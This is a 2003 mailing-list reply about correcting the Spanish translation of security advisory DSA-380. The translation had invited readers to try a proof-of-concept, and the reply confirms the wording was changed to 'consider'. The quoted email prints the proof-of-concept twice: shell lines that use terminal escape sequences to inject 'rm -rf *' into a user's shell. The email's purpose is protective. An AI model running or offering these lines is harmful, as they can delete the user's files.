Re: URGENT: Please remove dsa380.es
Hello,
I did apply the change you suggested:
s/Si quiere, pruebe lo siguiente/Considere los efectos potenciales de/
I think I understand enough spanish to agree with you, even if I have to
trust you on the exact wording and spelling.
Moreover, this mail is CCed to the usual translator. Juan Manuel, feel free
to flame me if I were wrong.
Thanks for the repport, Mt.
On Sun, Sep 14, 2003 at 01:25:08PM +0200, Antonio Fiol Bonnín wrote:
> Hello,
>
> Please remove the spanish translation for DSA-380.
>
> It contains code potentially dangerous for the user, and encourages the
> user to execute it.
>
> In English it says:
>
> ----------------
> Consider the following:
>
> echo -e '\e]2;s && echo rm -rf *\a' > /tmp/sploit
> echo -e '\e[21t' >> /tmp/sploit
> cat /tmp/sploit
>
> -----------------
>
> In Spanish, it has been translated as:
> Si quiere, pruebe lo siguiente:
>
> echo -e '\e]2;s && echo rm -rf *\a' > /tmp/aprovecham
> echo -e '\e[21t' >> /tmp/aprovecham
> cat /tmp/aprovecham
>
> Which, in English is:
> If you wish, try the following: [...]
>
> I feel there is an important difference between considering something,
> and encouraging the user to try it.
>
>
> Please forward this message to the translators so they can provide a
> better version.
>
> In the meantime I suggest either removing the page or changing the text
> by the following:
>
> "Considere los efectos potenciales de:"
>
>
> Thank you very much.
>
>
> Antonio Fiol
--
Le monde est dangereux à vivre! Non pas tant à cause de ceux qui font le
mal, mais à cause de ceux qui regardent et laissent faire.
-- Albert Einstein
Reply to: